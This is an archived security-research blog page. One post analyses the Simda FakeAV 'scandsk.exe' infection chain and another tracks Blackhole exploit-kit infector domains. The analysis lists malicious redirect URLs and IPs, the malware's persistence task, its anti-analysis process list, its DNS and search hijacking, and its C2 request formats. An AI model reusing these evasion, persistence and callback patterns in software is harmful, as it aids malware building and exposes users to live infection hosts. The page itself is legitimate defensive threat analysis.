Thursday, February 21, 2013

Hulk and Malware Crusaders vs FakeAV scandsk.exe (Win32/Simda Backdoor Downloader)

How the adventure started..


It's mid-February and we find the scientist David Banner searching for information concerning tax mattters involving charitable giving and fundraising when he clicks through a Google search link to h00p://jonesfortenberry.com.

Suddenly an Anti-Virus scan begins to run. After a few moments Dr. Banner is informed that his machine has numerous infections.

"Windows Security Alert? Trojan Downloaders and Encoders?"
"What the...?? I'm not even using a Windows machine!"
Suddenly Dr. Banner realizes what has occurred... his heart rate begins to race.

The transformation begins...

The Nature of Infection

Where David Banner once stood is now a raging green beast. The enraged Hulk roars, "RRRAAARRGHH!!!! Why can't puny malware - leave Hulk alone??" Taking a closer look, Hulk notices the evil culprit; injected Javascript from h00p://anie50sdark.rr.nu/nl.php?p=d The general chain of events showing the level of complexity of this malware.. Additional details can be found here -->>[pastebin link here] Please note, these domains are dynamic & always changing, so each interaction may be different as per below scheme:
// utilizing rr.nu TDS redirection..
// The site anie50sdark[.]rr.nu & simul12ations.rr.nu is (or was) utilizing the Sitelutions Redirection Engine..

1. anie50sdark[.]rr.nu/nl.php?p=d // IP is 31.184.192.238

2. Redirect via "window.top.location.replace" -->> simul12ations[.]rr.nu/n.php?h=1&s=nl // IP is 67.208.74.71

// from this point the lflink.com redirecting scheme (a Dynamic DNS URL) is utilized to download payload

3. Redirect via meta refresh method -->> www3[.]rle4wibx3.lflink.com/?z5wel=nqrgyamnopVqndXVtWCsW%2BvZ2K%2BglmismpnaZ9tlr4k%3D

// utilizing lflink.com's HTTP redirection 302

4. 302 redirect to main landing page-> www1[.]ezfqriux3154y-4.lflink.com/wk8d3gaz2s?98lssl=Xavk3N2p093K5tjR7p6omplxrmNkb17c3NepmKDH09TbssqHfFug7GplaWijmeLfovHcycKP1%2BGXbpeTwnJqX6zi57DZzOra5ZjM2LWIhFud6WpqcWafoaSemaiXqaaP6OyUpaqntl5asKHQsKmei%2B7a3a%2BdpqxoYmyWrY5kcV7g5rCdmK%2BfqquiqqtmV5mj5o6dp3Xj6uqfk%2BzS1qbg3tqrZGOg35mdp6Oa1uLZi9zY6q%2Fd1ueikp9Y

// another HTTP redirection 302

5. Click to download scandsk.exe -->> www1[.]ezfqriux3154y-4.lflink.com/XxDM1007_5606.php?98lssl=Xavk3N2p093K5tjR7p6omplxrmNkb17c3NepmKDH09TbssqHfFug7GplaWijmeLfovHcycKP1%2BGXbpeTwnJqX6zi57DZzOra5ZjM2LWIhFud6WpqcWafoaSemaiXqaaP6OyUpaqntl5asKHQsKmei%2B7a3a%2BdpqxoYmyWrY5kcV7g5rCdmK%2BfqquiqqtmV5mj5o6dp3Xj6uqfk%2BzS1qbg3tqrZGOg35mdp6Oa1uLZi9zY6q%2Fd1ueikp9Y

// the last chain is the payload download host: www2.f2ep4pjzr9a7e2.gw.lt

6. 302 redirect to scandsk.exe download -->> www2[.]f2ep4pjzr9a7e2.gw.lt/ddiaby1007_5606.php?ue6wsukx9=mdiu4N2y2dud25jN6Vrl096vbpdnm1jlzpq0ppvM2pvYb7fEf5bW7a9qkWecWOTYc%2B7pzbuem8%2BWotKTua%2BwmK3Xq6Kf3NWq65nYzrWOuVjO4HGmoqilZ5JpmWCmnWqd5unM7K7Zb5aWq9nOt6hrh6vZnrKZZ6uopqLabcdinZao46erpW6acJ5rqphpndfk2Nmi1G%2Fc56ujmOzenpWuzpTtmGTj2eHU5qSUldTdWtLc86%2BtwqbUk9%2BLqezVuNjcdtmX09R62dbflg%3D%3D

// with the strict setting..

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 04 Feb 2013 17:39:16 GMT
Content-Type: application/octet-stream
Connection: keep-alive
X-Powered-By: PHP/5.3.8
"Set-Cookie: ac5abc2a99=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: public, must-revalidate"
Content-Length: 953344
Content-Disposition: attachment; filename=scandsk.exe
Content-Transfer-Encoding: binary

After completion the user is presented with a convincing dialog box with the option to "remove all" detected malware.

When Hulk clicks anywhere on the message he is prompted to download FakeAV the "scandsk.exe".
As if possessed, the Hulk screams, "RRAAAARRRGGHHHH!!!
"CRUCESIGNATORUM!!!
- Hulk summons his friends, the Malware Crusaders to assist with dissecting this evil software.

Meanwhile all of the operations stated above can be download as PCAP here -->>[MediaFire]


Malware Analysis

Erm.. Hi. this is @malwaremustdie.. I just (somehow) got summoned by Hulk, if I understand his words (behind his anger roars) correctly, he wanted us to.. err.. #SMASH!?? (peeking at Hulk..sweating) Obviously No! To analyze the malware he found. :-) As no one can say no to Hulk in this mode, and to avoid his neighbors calling the police so we must get done to it fast, and here we go: The malware looks like the below icon (Hulk had some collection) And I am looking at the recent one with the below hash..
Sample : "scandsk.exe"
Size: -rwxr--r--  1 hulk  green "953,344" scandsk.exe
MD5    : "bb21db6128c344ded94cda582f6d549f"
SHA256 : "8ca233cbefc68c39e1210ad9b7ed8d558a3a4939546badbcc4eed53a81f62670"
Is a PE with Sections:
   .text 0x1000 0x20d30 135168
   DATA 0x22000 0x4dca6 155648
   DATA 0x70000 0x449be 169984
   INIT 0xb5000 0x5d50a 186368
   INIT 0x113000 0x40aac 265216
   .rsrc 0x154000 0x955c 38912
   .reloc 0x15e000 0x16c 1024
More info:
Entry Point at 0xe66f
Virtual Address is 0x40f26f
Fake compile time: 2008-08-06 15:52:29
Wrong CRC, Claimed:  992898 Actual:  977558
Invalid import segment, and most of the sections are crypted.
A quick scan in VT -->>[HERE] will show these Malware Names:
MicroWorld-eScan         : Gen:Variant.Kazy.132675
nProtect                 : Backdoor/W32.Simda.953344
Malwarebytes             : Trojan.Agent.AFF
TheHacker                : Trojan/Simda.b
ESET-NOD32               : Win32/Simda.B
Avast                    : Win32:MalOb-IJ [Cryp]
Kaspersky                : Backdoor.Win32.Simda.pvc
BitDefender              : Gen:Variant.Kazy.132675
Agnitum                  : Backdoor.Simda!ZWUl9AhwKrI
Comodo                   : Backdoor.Win32.Simda.PVC
F-Secure                 : Gen:Variant.Kazy.132675
DrWeb                    : Trojan.Rodricter.21
VIPRE                    : Backdoor.Win32.Simda.b (v)
AntiVir                  : TR/Dropper.Gen
Sophos                   : Mal/Simda-G
Jiangmin                 : Backdoor/Simda.bfh
Kingsoft                 : Win32.Hack.Simda.p.(kcloud)
GData                    : Gen:Variant.Kazy.132675
AhnLab-V3                : Backdoor/Win32.Simda
Ikarus                   : Win32.SuspectCrc
Fortinet                 : W32/Simda.B!tr
AVG                      : Dropper.Generic7.BEOR
Panda                    : Suspicious file
In the binary, after de-packed, it was seen below malicious actions: Self-renamed:
%Temp%\1.tmp 
And copied itself to the
%appdata%\ScanDisc.exe
Drop components s.exe, d.sys, s.sys :
c%systemroot%\system32
%s\%s.exe
%%TEMP%%\%d.sys
fastfat
%systemroot%\system32\drivers
%s\%s.sys
%AppData%\dexplorer.exe
Using CMD to register itself as highest task & execution component binary:
cmd.exe
<Actions
task%d>
\\?\globalroot\systemroot\system32\tasks\
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Actions Context="LocalSystem">
<Exec>
<Command>%s</Command>
</Exec>
</Actions>
</Task>
dexplorer.exe
It then detected these softwares:
cv.exe
irise.exe
IrisSvc.exe
wireshark.exe
dumpcap.exe
ZxSniffer.exe
Aircrack-ng Gui.exe
observer.exe
tcpdump.exe
WinDump.exe
wspass.exe
Regshot.exe
ollydbg.exe
PEBrowseDbg.exe
windbg.exe
DrvLoader.exe
SymRecv.exe
Syser.exe
apis32.exe
VBoxService.exe
VBoxTray.exe
SbieSvc.exe
SbieCtrl.exe
SandboxieRpcSs.exe
SandboxieDcomLaunch.exe
SUPERAntiSpyware.exe
ERUNT.exe
ERDNT.exe
EtherD.exe
Sniffer.exe
CamtasiaStudio.exe
CamRecorder.exe
Software\CommView
SYSTEM\CurrentControlSet\Services\IRIS5
Software\eEye Digital Security
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Wireshark
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wireshark.exe
SOFTWARE\ZxSniffer
SOFTWARE\Cygwin
SOFTWARE\Cygwin
SOFTWARE\B Labs\Bopup Observer
AppEvents\Schemes\Apps\Bopup Observer
Software\B Labs\Bopup Observer
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Win Sniffer_is1
Software\Win Sniffer
SOFTWARE\Classes\PEBrowseDotNETProfiler.DotNETProfiler
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\Debugging Tools for Windows (x86)
SYSTEM\CurrentControlSet\Services\SDbgMsg
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\APIS32
Software\Syser Soft
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\APIS32
SOFTWARE\APIS32
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Oracle VM VirtualBox Guest Additions
SYSTEM\CurrentControlSet\Services\VBoxGuest
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie
SYSTEM\CurrentControlSet\Services\SbieDrv
Software\Classes\Folder\shell\sandbox
Software\Classes\*\shell\sandbox
SOFTWARE\SUPERAntiSpyware.com
SOFTWARE\Classes\SUPERAntiSpywareContextMenuExt.SASCon.1
SOFTWARE\SUPERAntiSpyware.com
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ERUNT_is1
If one of these are found somehow malware will not infect properly. If it infects, it will run these operations: Changes your registry PC's DNS server setting into 8.8.8.8 + 192.168.0.1
HKLM\​SYSTEM\​CurrentControlSet\​Services\​Tcpip\​Parameters\​Interfaces\​{101AD58A-72E3-4831-9F1E-01C7C72E2FAB}
 →"8.8.8.8,192.168.0.1"
HKLM\​SYSTEM\​CurrentControlSet\​Services\​Tcpip\​Parameters\​Interfaces\​{1AD45B38-4060-4F73-BB1E-A0439A2D97EB} 
 →"8.8.8.8,192.168.0.1"
Changing the policy regarding to temporary data:
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA
Temp\Low
Selfrunning itself using Runonce:
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
opt
%TEMP%
C:\Documents and Settings\$USER\
\scandsk.exe
Cleaning your hosts data by rewriting clean hosts file:
"C:\Windows\system32\drivers\etc\hosts.txt"
# Copyright (c) 1993-2006 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
"127.0.0.1       localhost
::1             localhost"
# Copyright (c) 1993-2006 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
"127.0.0.1       localhost
::1             localhost"
Changing your search engine setting into ... h00p://findgala.com (?)
\Software\Microsoft\Internet Explorer\SearchScopes
DefaultScope
URL
\searchplugins\
search.xml
<ShortName>search</ShortName>
<SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/">
<Description>Search for the best price.</Description>
<InputEncoding>windows-1251</InputEncoding>
"h00p://findgala.com/?"
<Url type="text/html" method="GET" template="%s">
<Image width="16" height="16">data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAaRJREFUeNpiVIg5JRURw0A0YAHio943kYV%2B%2Ff33%2BdvvX7%2F%2FMjEx8nKycrGzwKXOiPKzICvdeezLhCV3jp15%2Bfv%2FX0YGhv8MDDxMX2qKTIw0RK10eYD6QYqATvoPBkt3f5K0W9Ew4fjTFz%2F%2Bw8Dm3W8UPeZxqFa%2BevsFyD0twgfVsOfkRxHrtfV9u5BVQ8Crd98%2FffkGYQM1QJ20%2FfSPv79eNxQGYfpSVJADmcvEAHbr7oOX2dj%2FERNKIA2%2F%2F%2Fz%2FxfCDhYVoDUDw5P6vf9%2B5iY0HVmZGQWm%2BN3fff%2Fn2k4eLHS739x%2FDiRs%2Ff%2F%2F5x8HO%2FOHzN3djfqgNjIwMgc6qzLx%2Fpy47j2zY%2Feff06tXhOUucgxeun33AUZGpHh4%2Bvo7t8EyIJqz%2FhpasD59%2B5dNrqdnznZIsEL9ICXCsWuBCwvTv%2FymS5PWPP32ExEALz%2F%2BB5r848cPCJcRaMP9xaYQzofPPzfuvrnj0Jst%2B5%2F8%2Bc4sLPeDkYlRgJc93VPE18NIXkYUmJYQSQMZ%2FP3379uPH7%2F%2F%2FEETBzqJ0WqLGvFpe2LCC4AAAwAyjg7ENzDDWAAAAABJRU5ErkJggg%3D%3D</Image>
<Param name="q" value="{searchTerms}"/>
<Param name="uid" value="%d"/>
</Url>
</SearchPlugin>
We detect the attempt for spam setting spf record:
v=spf1 a mx ip4:%d.%d.%d.%d/%d ?all
↑which ip4:%d.%d.%d.%d/%d is the malicious IP. Detecting attempt to networking to remote hosts: 46.105.131.123:80 Communicating with remote hosts with the method:
HTTP/1.1, GET, HEAD or POST
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre
User-agent: IE7
User-agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
With the HTTP operations of:
HTTP/1.1 GET /?abbr=RTK&setupType=update&uid=%d&ttl=%s&controller=microinstaller&pid=3
Host: "update1.randomstring.com"

HTTP/1.1 HEAD /update_c1eec.exe
Host: "update1.randomstring.com"

HTTP/1.1 POST
Host: "update1.randomstring.com"
User-Agent: IE7
Build/13.0
patch:0
Version/10.0
ver:2.0
update/0
Mod/0
Service 1.0
lib/5.0
Library1.0
App/7.0
compat/0
feed/7.1.0
system:3.0
control/5.0
Engine/4.0
runtime 11.0
layout/2.0
Build/14.0
patch:10
Version/11.0
ver:3.0
update/10
Mod/3.0
Service 2.0
lib/6.0
Library2.0
App/8.0
compat/4.1.0
feed/7.2.0
system:4.0
control/6.0
Engine/5.0
runtime 12.0
layout/3.0
Build/15.0
patch:20
Version/12.0
ver:4.0
update/20
Mod/4.0
Service 3.0
lib/7.0
Library3.0
App/9.0
compat/4.2.0
feed/7.3.0
system:5.0
control/7.0
Engine/6.0
runtime 13.0
layout/4.0
If we execute this scandsk.exe, it goes like this: Soon after just sitting there, the CPU resource will boil up and we'll find that network request started to be sent like: That's my analysis, a FakeAV, sending your data + other malware's downloader. It doesn't do the ransom, will annoy you and make you pay. I'll pass you back to Hulk :-)

Epilogue


Working together, Hulk and the Malware Crusaders work to expose the evil that has taken over the internet.
Beware bad guyz (with respect to Liam Neeson from Taken: We don't know who you are. We don't know what you want. If you are looking for ransom, I can tell you we don't have money. But what we do have are a very particular set of skills; skills we have acquired over a very long career.
Skills that make us a nightmare for people like you... We I will look for you, we will find you, and we will kill you.

Samples & Research Data


For the research purpose Hulk shares all capture data & sample-->>[Download]

Malware Network ID Analysis

The FakeAV download url: update1.randomstring[.]com/update_c1eec.exe
Registered through: GoDaddy.com, LLC (http://www.godaddy.com)
Domain Name:        RANDOMSTRING.COM
Created on:         30-May-03
Expires on:         30-May-13
Last Updated on:    01-Mar-11
Registrant:
"Happy Dude <==LAME 
1 Happy St <==LAME
HAPPYTOWN  <==LAME
QLD, None Selected 4000 <==LAME"
Australia
The FakeAV callback IP 46.105.131.123
inetnum:        46.105.131.120 - 46.105.131.127
"netname:        marysanders1
descr:          marysanders1net
country:        IE (Ireland, Dublin)"
org:            ORG-OH5-RIPE
admin-c:        OTC9-RIPE
tech-c:         OTC9-RIPE
status:         ASSIGNED PA
route:          46.105.0.0/16
descr:          OVH ISP
descr:          Paris, France
origin:         AS16276
mnt-by:         OVH-MNT
source:         RIPE # Filtered
FakeAV download server: www2.f2ep4pjzr9a7e2.gw.lt
gw.lt   internet address = 78.60.187.24
        primary name server = ns1.afraid.org
        responsible mail addr = dnsadmin.afraid.org
        serial  = 1302230009
        refresh = 86400 (1 day)
        retry   = 7200 (2 hours)
        expire  = 2419200 (28 days)
        default TTL = 3600 (1 hour)
gw.lt   MX preference = 20, mail exchanger = alt1.aspmx.l.google.com
gw.lt   MX preference = 20, mail exchanger = alt2.aspmx.l.google.com

"can't trace the whois db..."
$ whois gw.it
Domain:             gw.it
"Status:             UNASSIGNABLE <== marked"

"but practically is up & alive.."
serial 2013022313 +-a.dns.it (194.0.16.215)
serial 2013022313 | +-c.dns.it (194.0.1.22)
serial 2013022313 | | +-dns.nic.it (192.12.192.5)
serial 2013022313 | | | +-m.dns.it (217.29.76.4)
serial 2013022313 | | | | +-nameserver.cnr.it (194.119.192.34)
serial 2013022313 | | | | | +-r.dns.it (193.206.141.46)
serial 2013022313 | | | | | |  +-s.dns.it (194.146.106.30)
The FakeAV used redirector service: Dynamic DNS provided by ChangeIP.com
Domain Name: LFLINK.COM
Registrant:
"Network Operations, ChangeIP"
   1200 Brickell Avenue
   Suite 1950
   Miami, FL 33131, US
"Domain servers in listed order:
   NS1.CHANGEIP.ORG             209.208.5.13
   NS3.CHANGEIP.ORG             208.85.240.112
   NS2.CHANGEIP.ORG             204.16.175.12
FakeAV TDS domain RR.NU(redirected by Sitelutions Redirection Engine):
.NU Domain Ltd Whois service
Domain Name (ASCII): rr.nu
Technical Contact:"
    InfoRelay  abuse@sitelutions.com
    4 Bridge Plaza Drive
    Englishtown
    NJ 07726 US
    Phone: (703) 485-4600 (voice)"
Record last updated on 2011-Oct-17.
Record expires on 2016-Nov-4.
Record created on 1998-Nov-4.
Record status: Active
Registrar of record: .NU Domain Ltd
Referral URL: http://www.nunames.nu
Domain servers in listed order:
    ns1.sitelutions.com
    ns2.sitelutions.com
    ns3.sitelutions.com
    ns4.sitelutions.com
    ns5.sitelutions.com
"Owner and Administrative Contact information for domains
registered in .nu is available upon request from support@nic.nu"
Copyright by .NU Domain Ltd - http://www.nunames.nu
#MalwareMustDie, the NPO.

Wednesday, February 20, 2013

Blackhole NOW served Cridex combo with Ransomware rotated with GeoIP - Changes in credential crime scheme (powered by NAUNET.RU)

Background


This is more than just a malware analysis blog post. Morelike a threat report or updates of a cyber crime group activity that continuing their malicious operation and distribution method, that we think people who use internet must aware about.

The spam driven credentials/PWS stealer group we track, that is known for infecting trojan to steal credential via Blackhole Exploit Exploit Kit, that is responsible to the infection of recent fake FedEx, fake Amazon ticket, fake BBB, fake American Express spams and so on, is recently making a brand new new campaign through the below "real" malware infector domains:

fuigadosi.ru (NEW)
faneroomk.ru (NEW)
fzukungda.ru (NEW)
famagatra.ru (NEW)
fulinaohps.ru (NEW)
finalions.ru (NEW)
emmmhhh.ru (NEW)
errriiiijjjj.ru (NEW)
ejjiipprr.ru  (NEW)
eiiiioovvv.ru (NEW)

"previous infector used historically:"
emaianem.ru
enakinukia.ru
exibonapa.ru
esigbsoahd.ru
egihurinak.ru
exiansik.ru
emaianem.ru
estipaindo.ru
epilarikko.ru
eminakotpr.ru
ewinhdutik.ru
efjjdopkam.ru
eipuonam.ru
epionkalom.ru
ejiposhhgio.ru
emalenoko.ru
eminakotpr.ru
  :
Currently (see the NEW tagged domains) are active for infecting:
Tracing to fzukungda.ru[a] via a.root-servers.net., maximum of 1 retries
a.root-servers.net. (198.41.0.4)
 |\___ e.dns.ripn.net [ru] (2001:0678:0015:0000:0193:0232:0142:0017) Not queried
 |\___ e.dns.ripn.net [ru] (193.232.142.17)
 |     |\___ ns2.fzukungda.ru [fzukungda.ru] (110.164.58.250) Got authoritative answer
 |     |\___ ns4.fzukungda.ru [fzukungda.ru] (203.171.234.53) Got authoritative answer
 |     |\___ ns3.fzukungda.ru [fzukungda.ru] (210.71.250.131) Got authoritative answer
 |     |\___ ns5.fzukungda.ru [fzukungda.ru] (184.106.195.200) *
 |      \___ ns1.fzukungda.ru [fzukungda.ru] (41.168.5.140) Got authoritative answer
 |\___ a.dns.ripn.net [ru] (2001:0678:0017:0000:0193:0232:0128:0006) Not queried
 |\___ a.dns.ripn.net [ru] (193.232.128.6)
 |     |\___ ns1.fzukungda.ru [fzukungda.ru] (41.168.5.140) (cached)
 |     |\___ ns3.fzukungda.ru [fzukungda.ru] (210.71.250.131) (cached)
 |     |\___ ns4.fzukungda.ru [fzukungda.ru] (203.171.234.53) (cached)
 |     |\___ ns2.fzukungda.ru [fzukungda.ru] (110.164.58.250) (cached)
 |      \___ ns5.fzukungda.ru [fzukungda.ru] (184.106.195.200) *
 :                  :
Tracing to famagatra.ru[a] via a.root-servers.net., maximum of 1 retries
a.root-servers.net. (198.41.0.4)
 |\___ b.dns.ripn.net [ru] (2001:0678:0016:0000:0194:0085:0252:0062) Not queried
 |\___ b.dns.ripn.net [ru] (194.85.252.62)
 |     |\___ ns4.famagatra.ru [famagatra.ru] (203.171.234.53) Got authoritative answer
 |     |\___ ns1.famagatra.ru [famagatra.ru] (41.168.5.140) Got authoritative answer
 |     |\___ ns5.famagatra.ru [famagatra.ru] (184.106.195.200) *
 |     |\___ ns2.famagatra.ru [famagatra.ru] (110.164.58.250) Got authoritative answer
 |      \___ ns3.famagatra.ru [famagatra.ru] (210.71.250.131) Got authoritative answer
 |\___ f.dns.ripn.net [ru] (2001:0678:0014:0000:0193:0232:0156:0017) Not queried
 |\___ f.dns.ripn.net [ru] (193.232.156.17)
 |     |\___ ns2.famagatra.ru [famagatra.ru] (110.164.58.250) (cached)
 |     |\___ ns5.famagatra.ru [famagatra.ru] (184.106.195.200) *
 |     |\___ ns1.famagatra.ru [famagatra.ru] (41.168.5.140) (cached)
 |     |\___ ns4.famagatra.ru [famagatra.ru] (203.171.234.53) (cached)
 |      \___ ns3.famagatra.ru [famagatra.ru] (210.71.250.131) (cached)
 :                  :
Tracing to fulinaohps.ru[a] via a.root-servers.net., maximum of 1 retries
a.root-servers.net. (198.41.0.4)
 |\___ f.dns.ripn.net [ru] (2001:0678:0014:0000:0193:0232:0156:0017) Not queried
 |\___ f.dns.ripn.net [ru] (193.232.156.17)
 |     |\___ ns3.fulinaohps.ru [fulinaohps.ru] (210.71.250.131) Got authoritative answer
 |     |\___ ns5.fulinaohps.ru [fulinaohps.ru] (184.106.195.200) *
 |     |\___ ns2.fulinaohps.ru [fulinaohps.ru] (110.164.58.250) Got authoritative answer
 |     |\___ ns1.fulinaohps.ru [fulinaohps.ru] (41.168.5.140) Got authoritative answer
 |      \___ ns4.fulinaohps.ru [fulinaohps.ru] (203.171.234.53) Got authoritative answer
 |\___ b.dns.ripn.net [ru] (2001:0678:0016:0000:0194:0085:0252:0062) Not queried
 |\___ b.dns.ripn.net [ru] (194.85.252.62)
 |     |\___ ns3.fulinaohps.ru [fulinaohps.ru] (210.71.250.131) (cached)
 |     |\___ ns5.fulinaohps.ru [fulinaohps.ru] (184.106.195.200) *
 |     |\___ ns2.fulinaohps.ru [fulinaohps.ru] (110.164.58.250) (cached)
 |     |\___ ns1.fulinaohps.ru [fulinaohps.ru] (41.168.5.140) (cached)
 |      \___ ns4.fulinaohps.ru [fulinaohps.ru] (203.171.234.53) (cached)
 :                  :
Tracing to emmmhhh.ru[a] via a.root-servers.net., maximum of 1 retries
a.root-servers.net. (198.41.0.4)
 |\___ a.dns.ripn.net [ru] (2001:0678:0017:0000:0193:0232:0128:0006) Not queried
 |\___ a.dns.ripn.net [ru] (193.232.128.6)
 |     |\___ ns5.emmmhhh.ru [emmmhhh.ru] (184.106.195.200) *
 |     |\___ ns2.emmmhhh.ru [emmmhhh.ru] (110.164.58.250) Got authoritative answer
 |     |\___ ns1.emmmhhh.ru [emmmhhh.ru] (41.168.5.140) Got authoritative answer
 |     |\___ ns4.emmmhhh.ru [emmmhhh.ru] (203.171.234.53) Got authoritative answer
 |      \___ ns3.emmmhhh.ru [emmmhhh.ru] (210.71.250.131) Got authoritative answer
 |\___ f.dns.ripn.net [ru] (2001:0678:0014:0000:0193:0232:0156:0017) Not queried
 |\___ f.dns.ripn.net [ru] (193.232.156.17)
 |     |\___ ns4.emmmhhh.ru [emmmhhh.ru] (203.171.234.53) (cached)
 |     |\___ ns2.emmmhhh.ru [emmmhhh.ru] (110.164.58.250) (cached)
 |     |\___ ns5.emmmhhh.ru [emmmhhh.ru] (184.106.195.200) *
 |     |\___ ns1.emmmhhh.ru [emmmhhh.ru] (41.168.5.140) (cached)
 |      \___ ns3.emmmhhh.ru [emmmhhh.ru] (210.71.250.131) (cached)
 :                  :
Tracing to errriiiijjjj.ru[a] via a.root-servers.net., maximum of 1 retries
a.root-servers.net. (198.41.0.4)
 |\___ b.dns.ripn.net [ru] (2001:0678:0016:0000:0194:0085:0252:0062) Not queried
 |\___ b.dns.ripn.net [ru] (194.85.252.62)
 |     |\___ ns4.errriiiijjjj.ru [errriiiijjjj.ru] (203.171.234.53) Got authoritative answer
 |     |\___ ns2.errriiiijjjj.ru [errriiiijjjj.ru] (110.164.58.250) Got authoritative answer
 |     |\___ ns3.errriiiijjjj.ru [errriiiijjjj.ru] (210.71.250.131) Got authoritative answer
 |     |\___ ns5.errriiiijjjj.ru [errriiiijjjj.ru] (184.106.195.200) *
 |      \___ ns1.errriiiijjjj.ru [errriiiijjjj.ru] (41.168.5.140) Got authoritative answer
 |\___ e.dns.ripn.net [ru] (2001:0678:0015:0000:0193:0232:0142:0017) Not queried
 |\___ e.dns.ripn.net [ru] (193.232.142.17)
 |     |\___ ns2.errriiiijjjj.ru [errriiiijjjj.ru] (110.164.58.250) (cached)
 |     |\___ ns4.errriiiijjjj.ru [errriiiijjjj.ru] (203.171.234.53) (cached)
 |     |\___ ns5.errriiiijjjj.ru [errriiiijjjj.ru] (184.106.195.200) *
 |     |\___ ns1.errriiiijjjj.ru [errriiiijjjj.ru] (41.168.5.140) (cached)
 |      \___ ns3.errriiiijjjj.ru [errriiiijjjj.ru] (210.71.250.131) (cached)
 :                  :
Tracing to ejjiipprr.ru[a] via a.root-servers.net., maximum of 1 retries
a.root-servers.net. (198.41.0.4)
 |\___ d.dns.ripn.net [ru] (2001:0678:0018:0000:0194:0190:0124:0017) Not queried
 |\___ d.dns.ripn.net [ru] (194.190.124.17)
 |     |\___ ns3.ejjiipprr.ru [ejjiipprr.ru] (210.71.250.131) Got authoritative answer
 |     |\___ ns1.ejjiipprr.ru [ejjiipprr.ru] (41.168.5.140) Got authoritative answer
 |     |\___ ns2.ejjiipprr.ru [ejjiipprr.ru] (110.164.58.250) Got authoritative answer
 |      \___ ns4.ejjiipprr.ru [ejjiipprr.ru] (203.171.234.53) Got authoritative answer
 |\___ f.dns.ripn.net [ru] (2001:0678:0014:0000:0193:0232:0156:0017) Not queried
 |\___ f.dns.ripn.net [ru] (193.232.156.17)
 |     |\___ ns3.ejjiipprr.ru [ejjiipprr.ru] (210.71.250.131) (cached)
 |     |\___ ns4.ejjiipprr.ru [ejjiipprr.ru] (203.171.234.53) (cached)
 |     |\___ ns1.ejjiipprr.ru [ejjiipprr.ru] (41.168.5.140) (cached)
 |      \___ ns2.ejjiipprr.ru [ejjiipprr.ru] (110.164.58.250) (cached)
 :                  :
Tracing to eiiiioovvv.ru[a] via a.root-servers.net., maximum of 1 retries
a.root-servers.net. (198.41.0.4)
 |\___ e.dns.ripn.net [ru] (2001:0678:0015:0000:0193:0232:0142:0017) Not queried
 |\___ e.dns.ripn.net [ru] (193.232.142.17)
 |     |\___ ns2.eiiiioovvv.ru [eiiiioovvv.ru] (110.164.58.250) Got authoritative answer
 |     |\___ ns3.eiiiioovvv.ru [eiiiioovvv.ru] (210.71.250.131) Got authoritative answer
 |     |\___ ns4.eiiiioovvv.ru [eiiiioovvv.ru] (203.171.234.53) Got authoritative answer
 |      \___ ns1.eiiiioovvv.ru [eiiiioovvv.ru] (41.168.5.140) Got authoritative answer
 |\___ f.dns.ripn.net [ru] (2001:0678:0014:0000:0193:0232:0156:0017) Not queried
 |\___ f.dns.ripn.net [ru] (193.232.156.17)
 |     |\___ ns4.eiiiioovvv.ru [eiiiioovvv.ru] (203.171.234.53) (cached)
 |     |\___ ns1.eiiiioovvv.ru [eiiiioovvv.ru] (41.168.5.140) (cached)
 |     |\___ ns2.eiiiioovvv.ru [eiiiioovvv.ru] (110.164.58.250) (cached)
 |      \___ ns3.eiiiioovvv.ru [eiiiioovvv.ru] (210.71.250.131) (cached)
 :                  :
Tracing to finalions.ru[a] via a.root-servers.net., maximum of 1 retries
a.root-servers.net. (198.41.0.4)
 |\___ d.dns.ripn.net [ru] (2001:0678:0018:0000:0194:0190:0124:0017) Not queried
 |\___ d.dns.ripn.net [ru] (194.190.124.17)
 |     |\___ ns4.finalions.ru [finalions.ru] (203.171.234.53) Got authoritative answer
 |     |\___ ns2.finalions.ru [finalions.ru] (110.164.58.250) Got authoritative answer
 |     |\___ ns1.finalions.ru [finalions.ru] (41.168.5.140) Got authoritative answer
 |     |\___ ns3.finalions.ru [finalions.ru] (210.71.250.131) Got authoritative answer
 |      \___ ns5.finalions.ru [finalions.ru] (184.106.195.200) *
